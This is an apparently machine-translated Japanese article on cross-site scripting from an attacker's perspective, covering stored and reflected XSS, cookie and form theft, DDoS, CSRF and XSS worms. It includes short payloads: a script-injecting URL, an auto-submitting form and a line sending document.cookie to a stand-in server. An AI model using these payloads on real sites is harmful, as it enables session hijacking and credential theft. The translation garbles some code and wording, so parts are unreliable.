👨🏾‍🎤 ☺️ 👨🏽‍🎤 攻撃者の目から見たXSS 🖥️ ❄️ 💼

XSSとは何か、どのように防御するかは誰もが知っていることなので、簡単に説明します。 XSSは、攻撃者が特定の方法で（記事の最後にある可能なオプションへのリンクを参照）、被害者のサイトのページに、訪問時に実行されるスクリプトを統合する能力です。

興味深いことに、この脆弱性が説明されているほとんどの場合、次のコードが怖いです。

  http://www.site.com/page.php?var= <script> alert（ 'xss'）; </ script>

どういうわけか、それほど怖いわけではありません:)この脆弱性はどうして本当に危険なのでしょうか？

パッシブおよびアクティブ

XSSの脆弱性には、パッシブとアクティブの2種類があります。

攻撃者は特別なリンクを介して被害者を誘惑する必要がないため、 アクティブな脆弱性の方が危険です。攻撃者はコードをデータベースまたはサーバー上のファイルに挿入するだけです。したがって、サイトへのすべての訪問者は自動的に被害者になります。たとえば、SQLインジェクション（SQLインジェクション）を使用して統合できます。したがって、挿入中に処理された場合でも、データベースに保存されているデータを信頼しないでください。

受動的脆弱性の例は、記事の冒頭に記載されています。ここでは、たとえば、バックアップから復元した後、アカウントの設定を確認するよう要求するサイト管理者からの重要な手紙などのソーシャルエンジニアリングが必要です。したがって、被害者の住所を知っているか、単にスパムメールを送信したり、フォーラムに投稿したりする必要があります。被害者が素朴でリンクをたどるのは事実ではありません。

さらに、POSTとGETの両方のパラメーターは、受動的な脆弱性の影響を受ける可能性があります。もちろん、POSTパラメーターを使用すると、トリックを行う必要があります。たとえば、攻撃者のサイトからリダイレクトします。

  <form method = "post" action = "http://site.com/page.php">
   <input type = "hidden" name = "var" value = "<script> alert（ 'xss'）</ script>">
 </ form>
 <script type = "text / javascript">
   document.getElementsByTagName（ 'form'）[0] .submit（）;
 </ script>

したがって、GET脆弱性はやや危険です。被害者は追加のパラメータよりも間違ったドメインに気付く方が簡単です（ただし、URLはまったくエンコードできます）。

クッキーの盗難

これは、最もよく引用されるXSS攻撃の例です。 Cookieでは、サイトに貴重な情報（ユーザーのログインとパスワード（またはユーザーのハッシュ）を含む）が保存される場合がありますが、アクティブなセッションの盗難は最も危険です。幸いなことに、ほとんどのリソースのセッション有効期間は限られています。

  varіmg= new Image（）;
 img.sr= 'http：//site/xss.php？'  + document.cookie;

したがって、XMLHttpRequestにドメイン制限を導入しましたが、<iframe>、<img>、<script>、背景があるため、これは攻撃者にとって怖いものではありません：url（）; など

フォーム盗難

たとえば、getElementByIdを介してフォームを探し、onsubmitイベントを追跡します。これで、フォームを送信する前に、入力したデータも攻撃者のサーバーに送信されます。

この種の攻撃はフィッシングに似ていますが、偽のWebサイトではなく、被害者の信頼を高める本当のWebサイトです。

DDoS攻撃（分散型サービス拒否攻撃）

複数回アクセスしたリソースのXSS脆弱性を使用して、DDoS攻撃を行うことができます。結論は簡単です-攻撃されたサーバーが耐えられない多くのリクエスト。

実際には、XSSと間接的な関係があります。スクリプトはまったく使用されない可能性があるため、フォームの設計で十分です。

  <img src = "http://site.com/">

クロスサイトリクエストフォージェリ（CSRF / XSRF）

また、XSSに間接的に関連しています。通常、これは別のタイプの脆弱性ですが、XSSと組み合わせて使用されることがよくあります。肝心なのは、不死身のサイトで許可されたユーザーが、特定のアクションの要求が送信される脆弱な（または特別な攻撃者ページ）にログインすることです。

大まかに言えば、理想的にはそうすべきです。ユーザーは、支払いシステムで承認されています。次に、攻撃者のサイトまたはXSS脆弱性のあるサイトにアクセスし、そこから攻撃者のアカウントに送金するリクエストが送信されました。

したがって、特定のユーザーアクション（たとえば、電子メールの変更）を実行するとき、ほとんどのサイトはパスワードを再度要求するか、確認コードを要求します。

XSSワーム

このタイプの攻撃は、おそらく、VkontakteやTwitterなどのソーシャルネットワークのおかげで登場しました。一番下の行は、XSS脆弱性を持つリンクがソーシャルネットワークの複数のユーザーに送信され、リンクをたどると、統合スクリプトが他のユーザーにメッセージを送信するなどです。この場合、被害者の個人データを攻撃者に送信するなど、他のアクションが実行される可能性があります。

無害なXSS

興味深いことに、カウンターは、その性質上、何らかの形でアクティブなXSS攻撃でもあります。実際、訪問者に関する情報は、そのIPアドレス、モニター解像度など、サードパーティのサーバーに送信されます。自分の自由意志のページに統合するコードのみ:)たとえば、Google Analyticコードを見てください。

クロスドメインAJAXリクエストも無害なXSSとみなすことができます。

攻撃者の目から見たXSS